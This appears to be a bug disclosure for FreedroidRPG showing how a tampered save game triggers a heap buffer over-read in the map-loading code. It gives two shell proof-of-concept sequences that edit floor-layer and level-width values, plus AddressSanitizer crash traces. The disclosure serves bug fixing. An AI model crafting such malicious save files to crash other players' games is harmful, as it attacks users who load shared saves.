This issue assumes that users may load malicious save games, for example downloaded or
received from other users.
Reading outside "this_line" buffer is possible by manipulating loadlevel->floor_layers
( >= 48 ) or floor_layers->xlen ( >= 2048 ) values in save game file.
map.c
static char *decode_map(level *loadlevel, char *data)
836 memset(this_line, 0, 4096);
845 for (col = 0; col < loadlevel->xlen; col++) {
850 tmp = strtol(this_line + 4 * (loadlevel->floor_layers *
col + layer), NULL, 10);
PoC 1:
CH="mmm"
cd ~/.freedroid_rpg
mv $CH.shp $CH.gz
gunzip $CH.gz
sed -i -e "0,/floor layers: 2/s/floor layers: 2/floor layers: 48/" $CH
gzip $CH
mv $CH.gz $CH.shp
PoC 2:
CH="mmm"
cd ~/.freedroid_rpg
mv $CH.shp $CH.gz
gunzip $CH.gz
sed -i -e "0,/xlen of this level: 90/s/xlen of this level: 90/xlen of this level:
2048/" $CH
gzip $CH
mv $CH.gz $CH.shp
Crash for PoC 1:
=================================================================
==24662==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb27ed580 at pc
0xb7aaefd8 bp 0xbfb2a1a8 sp 0xbfb29d7c
READ of size 1 at 0xb27ed580 thread T0
#0 0xb7aaefd7 in strtol (/usr/lib/i386-linux-gnu/libasan.so.2+0x6efd7)
#1 0x80fc8cc in decode_map /root/projects/freedroid-src/src/map.c:850
#2 0x80fe326 in decode_level /root/projects/freedroid-src/src/map.c:1126
#3 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
#4 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
#5 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
#6 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
#7 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
#8 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
#9 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
#10 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
#11 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
#12 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
#13 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
#14 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
#15 0xb75f7636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#16 0x805c3ee (/root/projects/freedroid-src/bin/bin/freedroidRPG+0x805c3ee)
0xb27ed580 is located 128 bytes to the right of 4096-byte region
[0xb27ec500,0xb27ed500)
allocated by thread T0 here:
#0 0xb7ad6f8e in calloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96f8e)
#1 0x814a4fd in MyMalloc /root/projects/freedroid-src/src/text_public.c:68
#2 0x80fc709 in decode_map /root/projects/freedroid-src/src/map.c:825
#3 0x80fe326 in decode_level /root/projects/freedroid-src/src/map.c:1126
#4 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
#5 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
#6 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
#7 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
#8 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
#9 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
#10 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
#11 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
#12 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
#13 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
#14 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
#15 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
#16 0xb75f7636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 strtol
Shadow bytes around the buggy address:
0x364fda60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fda70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fda80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fda90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fdaa0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x364fdab0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdac0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdad0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdae0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdaf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdb00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==24662==ABORTING
Crash for PoC 2:
=================================================================
==24677==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb27ee900 at pc
0xb7acbfd8 bp 0xbf9a1d58 sp 0xbf9a192c
READ of size 1 at 0xb27ee900 thread T0
#0 0xb7acbfd7 in strtol (/usr/lib/i386-linux-gnu/libasan.so.2+0x6efd7)
#1 0x80fc8cc in decode_map /root/projects/freedroid-src/src/map.c:850
#2 0x80fe326 in decode_level /root/projects/freedroid-src/src/map.c:1126
#3 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
#4 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
#5 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
#6 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
#7 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
#8 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
#9 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
#10 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
#11 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
#12 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
#13 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
#14 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
#15 0xb7614636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
#16 0x805c3ee (/root/projects/freedroid-src/bin/bin/freedroidRPG+0x805c3ee)
0xb27ee900 is located 0 bytes to the right of 4096-byte region [0xb27ed900,0xb27ee900)
allocated by thread T0 here:
#0 0xb7af3f8e in calloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96f8e)
#1 0x814a4fd in MyMalloc /root/projects/freedroid-src/src/text_public.c:68
#2 0x80fc709 in decode_map /root/projects/freedroid-src/src/map.c:825
#3 0x80fe326 in decode_level /root/projects/freedroid-src/src/map.c:1126
#4 0x80ff639 in LoadShip /root/projects/freedroid-src/src/map.c:1303
#5 0x8127b85 in load_saved_game /root/projects/freedroid-src/src/saveloadgame.c:366
#6 0x8128240 in load_game /root/projects/freedroid-src/src/saveloadgame.c:478
#7 0x810dbfd in load_named_game /root/projects/freedroid-src/src/menu.c:1680
#8 0x810e57a in do_savegame_selection_and_act /root/projects/freedroid-
src/src/menu.c:1796
#9 0x810e75c in Load_Existing_Hero_Menu /root/projects/freedroid-
src/src/menu.c:1827
#10 0x810ecaf in Single_Player_Menu /root/projects/freedroid-src/src/menu.c:1895
#11 0x8108ecd in Startup_handle /root/projects/freedroid-src/src/menu.c:930
#12 0x8108b6a in RunSubMenu /root/projects/freedroid-src/src/menu.c:872
#13 0x8108e2f in RunMenu /root/projects/freedroid-src/src/menu.c:901
#14 0x8108e4c in StartupMenu /root/projects/freedroid-src/src/menu.c:907
#15 0x80f6e70 in main /root/projects/freedroid-src/src/main.c:179
#16 0xb7614636 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18636)
SUMMARY: AddressSanitizer: heap-buffer-overflow ??:0 strtol
Shadow bytes around the buggy address:
0x364fdcd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fdce0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fdcf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fdd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x364fdd10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x364fdd20:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdd30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdd40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdd50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdd60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x364fdd70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==24677==ABORTING
|